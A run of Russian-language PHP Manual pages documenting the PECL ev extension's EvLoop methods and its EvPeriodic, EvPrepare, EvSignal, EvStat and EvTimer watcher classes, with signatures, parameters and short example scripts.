Создаёт объект наблюдателя EvStat, связанный с текущим экземпляром цикла событий

  • « EvLoop::signal
  • EvLoop::stop »
  • PHP Manual
  • EvLoop
  • Создаёт объект наблюдателя EvStat, связанный с текущим экземпляром цикла событий

EvLoop::stat

(PECL ev >= 0.2.0)

EvLoop::stat — Создаёт объект наблюдателя EvStat, связанный с текущим экземпляром цикла событий

Описание

final public EvLoop::stat(
string $path ,
float $interval ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvStat

Создаёт объект наблюдателя EvStat, связанный с текущим экземпляром цикла событий.

Список параметров

Все параметры, что и для EvSignal::__construct()

Возвращаемые значения

Возвращает объект EvStat в случае успешного выполнения

Смотрите также

  • EvSignal::__construct() - Конструктор объекта наблюдателя EvSignal

User Contributed Notes

There are no user contributed notes for this page.


Останавливает цикл событий

  • « EvLoop::stat
  • EvLoop::suspend »
  • PHP Manual
  • EvLoop
  • Останавливает цикл событий

EvLoop::stop

(PECL ev >= 0.2.0)

EvLoop::stop — Останавливает цикл событий

Описание

public EvLoop::stop( int $how = ?): void

Останавливает цикл событий

Список параметров

how

Одна из Ev::BREAK_* констант .

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • EvLoop::run() - Проверяет события и вызывает callback-функции в цикле
  • Ev::stop() - Остановить событийный цикл по умолчанию

User Contributed Notes

There are no user contributed notes for this page.


Приостанавливает цикл

  • « EvLoop::stop
  • EvLoop::timer »
  • PHP Manual
  • EvLoop
  • Приостанавливает цикл

EvLoop::suspend

(PECL ev >= 0.2.0)

EvLoop::suspend — Приостанавливает цикл

Описание

public EvLoop::suspend(): void

Методы EvLoop::suspend() и EvLoop::resume() приостанавливают и возобновляют цикл соответственно.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • EvLoop::resume() - Возобновляет ранее приостановленный цикл событий
  • Ev::suspend() - Приостановить событийный цикл по умолчанию

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект наблюдателя EvTimer, связанный с текущим экземпляром цикла событий

  • « EvLoop::suspend
  • EvLoop::verify »
  • PHP Manual
  • EvLoop
  • Создаёт объект наблюдателя EvTimer, связанный с текущим экземпляром цикла событий

EvLoop::timer

(PECL ev >= 0.2.0)

EvLoop::timer — Создаёт объект наблюдателя EvTimer, связанный с текущим экземпляром цикла событий

Описание

final public EvLoop::timer(
float $after ,
float $repeat ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvTimer

Создаёт объект наблюдателя EvTimer, связанный с текущим экземпляром цикла событий.

Список параметров

Все параметры, что и для EvTimer::__construct()

Возвращаемые значения

Возвращает объект EvTimer в случае успешного выполнения.

Смотрите также

  • EvTimer::__construct() - Конструктор объекта наблюдателя EvTimer

User Contributed Notes

There are no user contributed notes for this page.


Выполняет внутренние проверки согласованности (для отладки)

  • « EvLoop::timer
  • EvPeriodic »
  • PHP Manual
  • EvLoop
  • Выполняет внутренние проверки согласованности (для отладки)

EvLoop::verify

(PECL ev >= 0.2.0)

EvLoop::verify — Выполняет внутренние проверки согласованности (для отладки)

Описание

public EvLoop::verify(): void

Выполняет внутренние проверки согласованности (для отладки libev) и прерывает программу, если обнаружены повреждённые структуры данных.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • Ev::verify() - Производит внутреннюю проверку целостности(для отладки)

User Contributed Notes

There are no user contributed notes for this page.


Класс EvPeriodic

(PECL ev >= 0.2.0)

Введение

Периодические наблюдатели также, своего рода, таймеры, но гораздо более непостоянные.

В отличие от EvTimer , наблюдатели EvPeriodic базируются не на реальном времени (или относительном времени, физически прошедшем), а на "системном" (том, которое показывается на ваших часах). Разница в том, что такое время может идти быстрее или медленнее "реального", или вообще скакать, в момент перехода на зимнее/летнее время или просто ручного изменения времени.

Наблюдатель EvPeriodic можно сконфигурировать на срабатывание после определённого времени. Например, если наблюдатель EvPeriodic сконфигурирован сработать "в 10 секунд" (т.е. EvLoop::now() + 10.0 секунд по "системному" времени, а не через 10 секунд!) и сразу после этого системное время сбросили на первое Января прошлого года, то наблюдатель сработает через год или больше, ровно в тот момент, когда системное время будет равно заданному. В то время как EvTimer просто сработает через 10 секунд после запуска.

Также как и с таймерами, callback-функция гарантированно сработает после наступления необходимого времени. Если несколько таймеров будут готовы сработать в одной и той же итерации событийного цикла, то первыми сработают те, которые должны сработать раньше по времени. (это более не распространяется на ситуации, когда callback-функции рекурсивно вызывают EvLoop::run()).

Обзор классов

class EvPeriodic extends EvWatcher {
/* Свойства */
public $offset;
public $interval;
/* Наследуемые свойства */
public $is_active;
public $data;
public $is_pending;
public $priority;
/* Методы */
public __construct(
float $offset ,
string $interval ,
callable $reschedule_cb ,
callable $callback ,
mixed $data = null ,
int $priority = 0
)
public again(): void
public at(): float
final public static createStopped(
float $offset ,
float $interval ,
callable $reschedule_cb ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvPeriodic
public set( float $offset , float $interval ): void
/* Наследуемые методы */
public EvWatcher::clear(): int
public EvWatcher::feed( int $revents ): void
public EvWatcher::getLoop(): EvLoop
public EvWatcher::invoke( int $revents ): void
public EvWatcher::keepalive( bool $value = ?): bool
public EvWatcher::setCallback( callable $callback ): void
public EvWatcher::start(): void
public EvWatcher::stop(): void
}

Свойства

offset

При повторении этот параметр содержит значение смещения, в противном случае - абсолютное время (значение смещения передаётся в EvPeriodic::set() , хотя libev может его поменять для лучшей численной стабильности).

interval

Текущее значение интервала. Может быть изменено в любое время, но изменения вступят в силу только после срабатывания наблюдателя, либо при вызове EvPeriodic::again().

Содержание

  • EvPeriodic::again — Останавливает и снова запускает периодический наблюдатель
  • EvPeriodic::at — Возвращает абсолютное время, когда наблюдатель запустится в следующий раз
  • EvPeriodic::__construct — Конструктор объекта наблюдателя EvPeriodic
  • EvPeriodic::createStopped — Создаёт остановленный наблюдатель EvPeriodic
  • EvPeriodic::set — Настраивает наблюдателя

User Contributed Notes

There are no user contributed notes for this page.


Останавливает и снова запускает периодический наблюдатель

  • « EvPeriodic
  • EvPeriodic::at »
  • PHP Manual
  • EvPeriodic
  • Останавливает и снова запускает периодический наблюдатель

EvPeriodic::again

(PECL ev >= 0.2.0)

EvPeriodic::again — Останавливает и снова запускает периодический наблюдатель

Описание

public EvPeriodic::again(): void

Останавливает и снова запускает периодический наблюдатель. Полезно только при изменении атрибутов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • EvTimer::again() - Перезапускает таймер наблюдателя

User Contributed Notes

There are no user contributed notes for this page.


Возвращает абсолютное время, когда наблюдатель запустится в следующий раз

  • « EvPeriodic::again
  • EvPeriodic::__construct »
  • PHP Manual
  • EvPeriodic
  • Возвращает абсолютное время, когда наблюдатель запустится в следующий раз

EvPeriodic::at

(PECL ev >= 0.2.0)

EvPeriodic::at — Возвращает абсолютное время, когда наблюдатель запустится в следующий раз

Описание

public EvPeriodic::at(): float

Если наблюдатель активен, возвращает абсолютное время, когда наблюдатель запустится в следующий раз. Это не то же самое, что аргумент offset для EvPeriodic::set() или EvPeriodic::__construct(), он работает даже в интервальном режиме.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает абсолютное время, когда наблюдатель запустится в следующий раз в секундах

User Contributed Notes

There are no user contributed notes for this page.


Конструктор объекта наблюдателя EvPeriodic

  • « EvPeriodic::at
  • EvPeriodic::createStopped »
  • PHP Manual
  • EvPeriodic
  • Конструктор объекта наблюдателя EvPeriodic

EvPeriodic::__construct

(PECL ev >= 0.2.0)

EvPeriodic::__construct — Конструктор объекта наблюдателя EvPeriodic

Описание

public EvPeriodic::__construct(
float $offset ,
string $interval ,
callable $reschedule_cb ,
callable $callback ,
mixed $data = null ,
int $priority = 0
)

Создаёт объект наблюдателя EvPeriodic и запускает его автоматически. Метод EvPeriodic::createStopped() создаёт остановленный периодический наблюдатель.

Список параметров

offset

Смотрите Периодические режимы работы наблюдателя

interval

Смотрите Периодические режимы работы наблюдателя

reschedule_cb

Переназначить callback-функцию. Вы можете передать null. Смотрите Периодические режимы работы наблюдателя

callback

Смотрите Наблюдатели callback-функции .

data

Пользовательские данные, связанные с наблюдателем.

priority

Приоритет наблюдателя

Примеры

Пример #1 Периодический таймер. Используйте переназначение callback-функции

<?php
// отмечает каждые 10.5 секунд

function reschedule_cb ($watcher, $now) {
return $now + (10.5. - fmod($now, 10.5));
}

$w = new EvPeriodic(0., 0., "reschedule_cb", function ($w, $revents) {
echo time(), PHP_EOL;
});
Ev::run();
?>

Пример #2 Периодический таймер. Отмечает каждые 10,5 секунд, начиная с текущего момента

<?php
// Отмечает каждые 10.5 секунд, начиная с текущего момента
$w = new EvPeriodic(fmod(Ev::now(), 10.5), 10.5, NULL, function ($w, $revents) {
echo time(), PHP_EOL;
});
Ev::run();
?>

Пример #3 Часовой наблюдатель

<?php
$hourly = EvPeriodic(0, 3600, NULL, function () {
echo "раз в час\n";
});
?>

Смотрите также

  • Периодические режимы работы наблюдателя
  • EvTimer
  • EvPeriodic::createStopped() - Создаёт остановленный наблюдатель EvPeriodic

User Contributed Notes

1187328898 at qq dot com 22-Jun-2018 03:14
function reschedule_cb_10s ($watcher, $now) {
    return $now + 10.;
}

//PHP7.0+?????reschedule_cb??
// PHP5.6????
$w5 = new EvPeriodic(0.0, 0.0, "reschedule_cb_10s", function ($w, $revents) {
    echo "w5:enter:", time(), PHP_EOL;
//    sleep(3);
    echo "w5:end:", time(), PHP_EOL;
});

Ev::run();


Создаёт остановленный наблюдатель EvPeriodic

  • « EvPeriodic::__construct
  • EvPeriodic::set »
  • PHP Manual
  • EvPeriodic
  • Создаёт остановленный наблюдатель EvPeriodic

EvPeriodic::createStopped

(PECL ev >= 0.2.0)

EvPeriodic::createStopped — Создаёт остановленный наблюдатель EvPeriodic

Описание

final public static EvPeriodic::createStopped(
float $offset ,
float $interval ,
callable $reschedule_cb ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvPeriodic

Создаёт остановленный наблюдатель EvPeriodic. В отличие от EvPeriodic::__construct(), этот метод не запускает наблюдателя автоматически.

Список параметров

offset

Смотрите Периодические режимы работы наблюдателя

interval

Смотрите Периодические режимы работы наблюдателя

reschedule_cb

Переназначить callback-функцию. Вы можете передать null. Смотрите Периодические режимы работы наблюдателя

callback

Смотрите Callback-функции наблюдателей .

data

Пользовательские данные, связанные с наблюдателем.

priority

Приоритет наблюдателей

Возвращаемые значения

Возвращает объект наблюдателя EvPeriodic в случае успешного выполнения.

Смотрите также

  • EvPeriodic::__construct() - Конструктор объекта наблюдателя EvPeriodic
  • EvTimer::createStopped() - Создаёт остановленный наблюдатель EvTimer

User Contributed Notes

There are no user contributed notes for this page.


Настраивает наблюдателя

  • « EvPeriodic::createStopped
  • EvPrepare »
  • PHP Manual
  • EvPeriodic
  • Настраивает наблюдателя

EvPeriodic::set

(PECL ev >= 0.2.0)

EvPeriodic::set — Настраивает наблюдателя

Описание

public EvPeriodic::set( float $offset , float $interval ): void

Настраивает или перенастраивает EvPeriodic наблюдателя.

Список параметров

offset

То же, что и для EvPeriodic::__construct() . Смотрите Периодические режимы работы наблюдателя

interval

То же, что и для EvPeriodic::__construct() . Смотрите Периодические режимы работы наблюдателя

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Класс EvPrepare

(PECL ev >= 0.2.0)

Введение

Наблюдатели EvPrepare и EvCheck обычно используются в паре. Наблюдатель EvPrepare вызывается до блокировки процесса, затем вызывается EvCheck

Не разрешается вызывать EvLoop::run() или аналогичные методы или функции, введённые в текущий цикл событий другими наблюдателями EvPrepare или EvCheck. Однако другие циклы событий, не текущий, могут. Смысл в том, что текущему не нужно проверять рекурсию в таких наблюдателях, т.е. всегда будет последовательность: EvPrepare -> блокировка -> EvCheck, так что наблюдателя каждого вида всегда будут вызывать в парах, захватывая блокирующий вызов.

Основная цель заключается в интеграции других событийных механизмов в libev и улучшенное их использование. Они могут быть использованы, например, при отслеживании изменении переменных, при реализации пользовательских наблюдателей, при интегрировании NET-SNMP или сопрограмм библиотеки и многое другое. Они также иногда полезны при кешировании данных и при очистке данных до блокировки.

Рекомендуется устанавливать наблюдателям EvCheck наивысший приоритет (Ev::MAXPRI), чтобы обеспечить возможность их запуска раньше любых других наблюдателей после опроса (это не имеет значения для наблюдателей EvPrepare).

Кроме того, наблюдатели EvCheck не смогут активировать/подавать события. Пока libev полностью поддерживает все это, они могут выполняться раньше, чем другие наблюдатели EvCheck выполнят свою работу.

Обзор классов

class EvPrepare extends EvWatcher {
/* Наследуемые свойства */
public $is_active;
public $data;
public $is_pending;
public $priority;
/* Методы */
public __construct( string $callback , string $data = ?, string $priority = ?)
final public static createStopped( callable $callback , mixed $data = null , int $priority = 0 ): EvPrepare
/* Наследуемые методы */
public EvWatcher::clear(): int
public EvWatcher::feed( int $revents ): void
public EvWatcher::getLoop(): EvLoop
public EvWatcher::invoke( int $revents ): void
public EvWatcher::keepalive( bool $value = ?): bool
public EvWatcher::setCallback( callable $callback ): void
public EvWatcher::start(): void
public EvWatcher::stop(): void
}

Содержание

  • EvPrepare::__construct — Конструктор наблюдателя EvPrepare
  • EvPrepare::createStopped — Создать объект класса EvPrepare, но не стартовать его

User Contributed Notes

There are no user contributed notes for this page.


Конструктор наблюдателя EvPrepare

  • « EvPrepare
  • EvPrepare::createStopped »
  • PHP Manual
  • EvPrepare
  • Конструктор наблюдателя EvPrepare

EvPrepare::__construct

(PECL ev >= 0.2.0)

EvPrepare::__construct — Конструктор наблюдателя EvPrepare

Описание

public EvPrepare::__construct( string $callback , string $data = ?, string $priority = ?)

Создаёт объект наблюдатель EvPrepare и автоматически его стартует.

Список параметров

callback

Смотрите функции обратного вызова наблюдателей .

data

Произвольные данные, ассоциированные с наблюдателем.

priority

Приоритет наблюдателя

Смотрите также

  • EvCheck

User Contributed Notes

There are no user contributed notes for this page.


Создать объект класса EvPrepare, но не стартовать его

  • « EvPrepare::__construct
  • EvSignal »
  • PHP Manual
  • EvPrepare
  • Создать объект класса EvPrepare, но не стартовать его

EvPrepare::createStopped

(PECL ev >= 0.2.0)

EvPrepare::createStopped — Создать объект класса EvPrepare, но не стартовать его

Описание

final public static EvPrepare::createStopped( callable $callback , mixed $data = null , int $priority = 0 ): EvPrepare

То же самое, что и EvPrepare::__construct() , но не производит автоматического старта наблюдателя.

Список параметров

callback

Смотрите функции обратного вызова наблюдателей .

data

Произвольные данные, ассоциированные с наблюдателем

priority

Приоритет наблюдателя

Возвращаемые значения

Возвращает остановленный объект EvPrepare.

Смотрите также

  • EvPrepare::__construct() - Конструктор наблюдателя EvPrepare
  • EvWatcher::start() - Запускает наблюдателя

User Contributed Notes

There are no user contributed notes for this page.


Класс EvSignal

(PECL ev >= 0.2.0)

Введение

Наблюдатель EvSignal создаёт событие когда процесс получает один или несколько конкретных сигналов. Так как сигналы приходят асинхронно, libev старается с этим бороться и доставлять их синхронно, т.е аналогично всем остальным событиям в нормальном режиме обработки.

Ограничений на количество наблюдателей за одним и тем же сигналом нет, но только в пределах одного событийного цикла. Например, в цикле по умолчанию работает наблюдатель за SIGINT, а в другом цикле наблюдатель за SIGIO, но при этом нельзя наблюдать за SIGINT в двух циклах сразу. Ну и за SIGCHLD можно наблюдать только в цикле по умолчанию.

Если доступно и поддерживается, libev устанавливает свои обработчики с разрешённым поведением SA_RESTART (или аналогом), поэтому системные вызовы не будут некорректно прерываться. Если будут возникать проблемы с прерыванием системных вызовов сигналами, все сигналы можно блокировать в наблюдателе EvCheck и разблокировать в наблюдателе EvPrepare.

Обзор классов

class EvSignal extends EvWatcher {
/* Свойства */
public $signum;
/* Наследуемые свойства */
public $is_active;
public $data;
public $is_pending;
public $priority;
/* Методы */
public __construct(
int $signum ,
callable $callback ,
mixed $data = null ,
int $priority = 0
)
final public static createStopped(
int $signum ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvSignal
public set( int $signum ): void
/* Наследуемые методы */
public EvWatcher::clear(): int
public EvWatcher::feed( int $revents ): void
public EvWatcher::getLoop(): EvLoop
public EvWatcher::invoke( int $revents ): void
public EvWatcher::keepalive( bool $value = ?): bool
public EvWatcher::setCallback( callable $callback ): void
public EvWatcher::start(): void
public EvWatcher::stop(): void
}

Свойства

signum

Номер сигнала. Смотрите константы, экспортированные модулем pcntl. Также смотрите страницу руководства signal(7).

Содержание

  • EvSignal::__construct — Конструктор объекта наблюдателя EvSignal
  • EvSignal::createStopped — Create stopped EvSignal watcher object
  • EvSignal::set — Настройка наблюдателя

User Contributed Notes

There are no user contributed notes for this page.


Конструктор объекта наблюдателя EvSignal

  • « EvSignal
  • EvSignal::createStopped »
  • PHP Manual
  • EvSignal
  • Конструктор объекта наблюдателя EvSignal

EvSignal::__construct

(PECL ev >= 0.2.0)

EvSignal::__construct — Конструктор объекта наблюдателя EvSignal

Описание

public EvSignal::__construct(
int $signum ,
callable $callback ,
mixed $data = null ,
int $priority = 0
)

Создаёт объект наблюдатель EvSignal и автоматически его запускает. Для создания остановленного объекта наблюдателя используйте метод EvSignal::createStopped().

Список параметров

signum

Номер сигнала. Смотрите константы модуля pcntl и документацию по signal(7).

callback

Смотрите Функции обратного вызова наблюдателей.

data

Пользовательские данные, ассоциированные с наблюдателем.

priority

Приоритет наблюдателя

Примеры

Пример #1 Обработка сигнала SIGTERM

<?php
$w = new EvSignal(SIGTERM, function ($watcher) {
echo "SIGTERM received\n";
$watcher->stop();
});

Ev::run();
?>

Смотрите также

  • EvSignal::createStopped() - Create stopped EvSignal watcher object

User Contributed Notes

There are no user contributed notes for this page.


Create stopped EvSignal watcher object

  • « EvSignal::__construct
  • EvSignal::set »
  • PHP Manual
  • EvSignal
  • Create stopped EvSignal watcher object

EvSignal::createStopped

(PECL ev >= 0.2.0)

EvSignal::createStopped — Create stopped EvSignal watcher object

Описание

final public static EvSignal::createStopped(
int $signum ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvSignal

Создаёт остановленный объект наблюдатель EvSignal. В отличие от EvSignal::__construct(), этот метод не запускает созданного наблюдателя.

Список параметров

signum

Номер сигнала. Смотрите константы модуля pcntl и документацию по signal(7).

callback

Смотрите Функции обратного вызова наблюдателей.

data

Пользовательские данные, ассоциированные с наблюдателем.

priority

Приоритет наблюдателя

Возвращаемые значения

В случае успешного выполнения возвращает объект EvSignal.

Смотрите также

  • EvWatcher::start() - Запускает наблюдателя
  • EvSignal::__construct() - Конструктор объекта наблюдателя EvSignal

User Contributed Notes

There are no user contributed notes for this page.


Настройка наблюдателя

  • « EvSignal::createStopped
  • EvStat »
  • PHP Manual
  • EvSignal
  • Настройка наблюдателя

EvSignal::set

(PECL ev >= 0.2.0)

EvSignal::set — Настройка наблюдателя

Описание

public EvSignal::set( int $signum ): void

Настраивает наблюдателя.

Список параметров

signum

Номер сигнала. Как описано в EvSignal::__construct()

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Класс EvStat

(PECL ev >= 0.2.0)

Введение

EvStat наблюдает за изменением атрибутов объекта по заданному пути в файловой системе. Это достигается путём регулярного запуска stat() для этого пути (либо путём получения сигнала об изменении от операционной системы) и сравнение полученных данных с результатами предыдущего вызова. В случае обнаружения изменения атрибутов вызывается callback-функция.

Путь не обязательно должен существовать в действительности. Изменение статуса с "путь существует" на "путь не существует" - это такое же изменение, как и любое другое. Состояние "путь не существует" определяется по значению 'nlink' равным 0 (которое возвращается методом EvStat::attr()).

Путь не должен оканчиваться слешем или содержать специальные компоненты, такие как '.' или ... Путь должен быть абсолютным. Если задать относительный путь и сменить рабочий каталог, то поведение будет неопределённым.

Так как нет переносимого интерфейса оповещения об изменениях, переносимая реализация просто вызывает stat() через равные промежутки времени и смотрит, не изменилось ли чего. Поэтому рекомендуется задавать интервал опроса. Если интервал опроса задан равным 0.0 (что крайне рекомендуется), то будет использоваться значение по умолчанию (которого никто не знает, но предполагается, что где-то около 5 секунд, но при этом может динамически меняться). libev имеет ограничение на минимальное значение интервала, которое сейчас равно приблизительно 0.1, но такой интервал - это стрельба из пушки по воробьям.

Не рекомендуется использовать большое количество одновременно работающих наблюдателей EvStat, так как это может сильно повлиять на потребление ресурсов в связи с использованием механизмов оповещения операционной системы.

Обзор классов

class EvStat extends EvWatcher {
/* Свойства */
public $path;
public $interval;
/* Наследуемые свойства */
public $is_active;
public $data;
public $is_pending;
public $priority;
/* Методы */
public __construct(
string $path ,
float $interval ,
callable $callback ,
mixed $data = null ,
int $priority = 0
)
public attr(): array
final public static createStopped(
string $path ,
float $interval ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): void
public prev(): void
public set( string $path , float $interval ): void
public stat(): bool
/* Наследуемые методы */
public EvWatcher::clear(): int
public EvWatcher::feed( int $revents ): void
public EvWatcher::getLoop(): EvLoop
public EvWatcher::invoke( int $revents ): void
public EvWatcher::keepalive( bool $value = ?): bool
public EvWatcher::setCallback( callable $callback ): void
public EvWatcher::start(): void
public EvWatcher::stop(): void
}

Свойства

interval

Только чтение. Показывает, насколько часто происходят опросы статуса и обычно равно 0.0, что позволяет libev самостоятельно определять интервал.

path

Только чтение. Путь, для которого отслеживаются изменения.

Содержание

  • EvStat::attr — Возвращает значения, недавно обнаруженные Ev
  • EvStat::__construct — Создаёт объект наблюдателя EvStat
  • EvStat::createStopped — Создаёт остановленный объект наблюдателя EvStat
  • EvStat::prev — Возвращает предыдущий набор значений, возвращаемых EvStat::attr
  • EvStat::set — Настраивает наблюдателя
  • EvStat::stat — Инициирует вызов статистики

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значения, недавно обнаруженные Ev

  • « EvStat
  • EvStat::__construct »
  • PHP Manual
  • EvStat
  • Возвращает значения, недавно обнаруженные Ev

EvStat::attr

(PECL ev >= 0.2.0)

EvStat::attr — Возвращает значения, недавно обнаруженные Ev

Описание

public EvStat::attr(): array

Возвращает значения, недавно обнаруженные Ev

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив со значениями, недавно обнаруженными Ev (без фактической stat):

Список ключей элементов массива, возвращаемых EvStat::attr()
Ключ | Описание
'dev' | идентификатор устройства, содержащего файл
'ino' | номер индекса
'mode' | режим защиты
'nlink' | количество жёстких ссылок
'uid' | идентификатор пользователя владельца
'size' | общий размер, в байтах
'gid' | идентификатор группы владельца
'rdev' | идентификатор устройства (если это специальный файл)
'blksize' | размер блока для файловой системы ввода/вывода
'blocks' | количество выделенных блоков по 512B
'atime' | время последнего доступа
'ctime' | время последнего изменения статуса
'mtime' | время последнего изменения

Смотрите stat(2) справочную страницу для подробной информации.

Примеры

Пример #1 Отслеживаем изменения в /var/log/messages

<?php
// Используем 10-секундный интервал обновления.
$w = new EvStat("/var/log/messages", 8, function ($w) {
echo "/var/log/messages изменён\n";

$attr = $w->attr();

if ($attr['nlink']) {
printf("Текущий размер: %ld\n", $attr['size']);
printf("Просмотрен: %ld\n", $attr['atime']);
printf("Изменён: %ld\n", $attr['mtime']);
} else {
fprintf(STDERR, "`messages` файл отсутствует!");
$w->stop();
}
});

Ev::run();
?>

Смотрите также

  • EvStat::prev() - Возвращает предыдущий набор значений, возвращаемых EvStat::attr
  • EvStat::stat() - Инициирует вызов статистики

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект наблюдателя EvStat

  • « EvStat::attr
  • EvStat::createStopped »
  • PHP Manual
  • EvStat
  • Создаёт объект наблюдателя EvStat

EvStat::__construct

(PECL ev >= 0.2.0)

EvStat::__construct — Создаёт объект наблюдателя EvStat

Описание

public EvStat::__construct(
string $path ,
float $interval ,
callable $callback ,
mixed $data = null ,
int $priority = 0
)

Создаёт объект наблюдателя EvStat и автоматически запускает наблюдателя.

Список параметров

path

Путь для ожидания изменения статуса.

interval

Подсказывает, как быстро ожидается обнаружение изменений, и его обычно указывается 0.0, чтобы позволить libev выбрать подходящее значение.

callback

Смотрите Наблюдатели обратного вызова .

data

Пользовательские данные, связанные с наблюдателем.

priority

Приоритет наблюдателя

Примеры

Пример #1 Смотрим изменения в /var/log/messages

<?php
// Используем 10-секундный интервал обновления.
$w = new EvStat("/var/log/messages", 8, function ($w) {
echo "/var/log/messages изменён\n";

$attr = $w->attr();

if ($attr['nlink']) {
printf("Размер: %ld\n", $attr['size']);
printf("Просмотрен: %ld\n", $attr['atime']);
printf("Изменён: %ld\n", $attr['mtime']);
} else {
fprintf(STDERR, "`messages` файл не найден!");
$w->stop();
}
});

Ev::run();
?>

User Contributed Notes

There are no user contributed notes for this page.


Создаёт остановленный объект наблюдателя EvStat

  • « EvStat::__construct
  • EvStat::prev »
  • PHP Manual
  • EvStat
  • Создаёт остановленный объект наблюдателя EvStat

EvStat::createStopped

(PECL ev >= 0.2.0)

EvStat::createStopped — Создаёт остановленный объект наблюдателя EvStat

Описание

final public static EvStat::createStopped(
string $path ,
float $interval ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): void

Создаёт объект наблюдателя EvStat, но не запускает его автоматически (в отличие от EvStat::__construct()).

Список параметров

path

Путь для ожидания изменения статуса.

interval

Подсказывает, как быстро ожидается обнаружение изменений, и его обычно указывается 0.0, чтобы позволить libev выбрать подходящее значение.

callback

Смотрите Наблюдатели обратного вызова .

data

Пользовательские данные, связанные с наблюдателем.

priority

Приоритет наблюдателя

Возвращаемые значения

Возвращает остановленный объект наблюдателя EvStat в случае успешного выполнения.

Смотрите также

  • EvStat::__construct() - Создаёт объект наблюдателя EvStat
  • EvWatcher::start() - Запускает наблюдателя

User Contributed Notes

There are no user contributed notes for this page.


Возвращает предыдущий набор значений, возвращаемых EvStat::attr

  • « EvStat::createStopped
  • EvStat::set »
  • PHP Manual
  • EvStat
  • Возвращает предыдущий набор значений, возвращаемых EvStat::attr

EvStat::prev

(PECL ev >= 0.2.0)

EvStat::prev — Возвращает предыдущий набор значений, возвращаемых EvStat::attr

Описание

public EvStat::prev(): void

Как и EvStat::attr() , но возвращает предыдущий набор значений.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив с той же структурой, что и массив, возвращаемый EvStat::attr(). Массив содержит предыдущий набор значений.

Смотрите также

  • EvStat::attr() - Возвращает значения, недавно обнаруженные Ev
  • EvStat::stat() - Инициирует вызов статистики

User Contributed Notes

There are no user contributed notes for this page.


Настраивает наблюдателя

  • « EvStat::prev
  • EvStat::stat »
  • PHP Manual
  • EvStat
  • Настраивает наблюдателя

EvStat::set

(PECL ev >= 0.2.0)

EvStat::set — Настраивает наблюдателя

Описание

public EvStat::set( string $path , float $interval ): void

Настраивает наблюдателя.

Список параметров

path

Путь для ожидания изменения статуса.

interval

Подсказывает, как быстро ожидается обнаружение изменений, и его обычно указывается 0.0, чтобы позволить libev выбрать подходящее значение.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Инициирует вызов статистики

  • « EvStat::set
  • EvTimer »
  • PHP Manual
  • EvStat
  • Инициирует вызов статистики

EvStat::stat

(PECL ev >= 0.2.0)

EvStat::stat — Инициирует вызов статистики

Описание

public EvStat::stat(): bool

Инициирует вызов статистики (обновляет внутренний кеш). Определяет (используя lstat) path, указанный в наблюдателе, и устанавливает найденные значения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если path существует. В противном случае false.

Смотрите также

  • EvStat::attr() - Возвращает значения, недавно обнаруженные Ev
  • EvStat::prev() - Возвращает предыдущий набор значений, возвращаемых EvStat::attr

User Contributed Notes

There are no user contributed notes for this page.


Класс EvTimer

(PECL ev >= 0.2.0)

Введение

Наблюдатели EvTimer - это обычные относительные таймеры, которые создают событие через заданное время и, опционально, периодически повторяют его через заданные интервалы времени.

Таймеры базируются на реальном времени, то есть если задать таймер с повторами раз в час и сбросить системные часы на Январь прошлого года, то таймер будет все также срабатывать через (грубо) час. "Грубо" потому, что отследить скачки времени достаточно сложно и некоторые неточности неизбежны.

Callback-функция гарантированно запустится только после того, как пройдёт превышение заданного времени ожидания (не ровно в тот же момент, т.к. на системах с часами с низким разрешением могут наблюдаться небольшие задержки). Если несколько таймеров будут готовы сработать в одну и ту же итерацию событийного цикла, то callback-функции наблюдателей будут запущены в порядке времени срабатывания и с учётом приоритета (но это не работает, если callback-функции вызывают EvLoop::run() рекурсивно).

Сами по себе таймеры стараются всеми силами избежать накапливания ошибки, то есть если таймер сконфигурирован срабатывать каждые 10 секунд, то обычно он срабатывает точно с 10 секундным интервалом. Однако, если скрипт не поспевает за таймером, поскольку его работа занимает более 10 секунд, то таймер сработает не чаще чем один раз за итерацию событийного цикла.

Обзор классов

class EvTimer extends EvWatcher {
/* Свойства */
public $repeat;
public $remaining;
/* Наследуемые свойства */
public $is_active;
public $data;
public $is_pending;
public $priority;
/* Методы */
public __construct(
float $after ,
float $repeat ,
callable $callback ,
mixed $data = null ,
int $priority = 0
)
public again(): void
final public static createStopped(
float $after ,
float $repeat ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvTimer
public set( float $after , float $repeat ): void
/* Наследуемые методы */
public EvWatcher::clear(): int
public EvWatcher::feed( int $revents ): void
public EvWatcher::getLoop(): EvLoop
public EvWatcher::invoke( int $revents ): void
public EvWatcher::keepalive( bool $value = ?): bool
public EvWatcher::setCallback( callable $callback ): void
public EvWatcher::start(): void
public EvWatcher::stop(): void
}

Свойства

repeat

Если равно 0.0, то таймер автоматически остановится, когда будет превышено время ожидания. Если больше нуля, то таймер автоматически перейдёт в режим бесконечного повторения через заданные интервалы, пока вы его самостоятельно не остановите.

remaining

Возвращает время, оставшееся до срабатывания таймера. Если таймер активен, то данное время будет считаться относительно времени текущего событийного цикла, а если таймер не активен, то оно будет равно сконфигурированному значению времени ожидания.

